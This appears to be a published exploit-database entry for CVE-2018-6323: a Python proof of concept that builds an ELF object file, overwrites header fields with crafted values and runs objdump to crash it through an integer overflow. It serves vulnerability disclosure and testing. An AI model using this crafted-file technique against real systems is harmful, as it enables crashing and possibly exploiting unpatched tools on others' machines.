GNU binutils 2.26.1 Integer Overflow

`# Exploit Title: Objdump - Integer Overflow Crash POC  
# Date: 12.02.2018  
# Exploit Author: r4xis  
# Tested Version: 2.26.1  
# Vuln Version: <2.29.1  
# CVE: cve-2018-6323  
# Tested on: Ubuntu 16.04 32-bit   
# Vulnerability Details:   
# https://www.cvedetails.com/cve/CVE-2018-6323/  
# https://sourceware.org/bugzilla/show_bug.cgi?id=22746  
  
  
import os  
  
hello = "#include<stdio.h>\nint main(){printf(\"HelloWorld!\\n\"); return 0;}"  
f = open("helloWorld.c", 'w')  
f.write(hello)  
f.close()  
  
os.system("gcc -c helloWorld.c -o test")  
# file test  
# test: ELF 32-bit LSB relocatable, Intel 80386, version 1 (SYSV), not stripped  
  
f = open("test", 'rb+')  
f.read(0x2c)  
f.write("\xff\xff") # 65535  
f.read(0x244-0x2c-2)  
f.write("\x00\x00\x00\x20") # 536870912  
f.close()  
# readelf -h test  
# Number of program headers: 65535 (536870912)  
  
os.system("objdump -x test; rm -r helloWorld.c test")  
  
`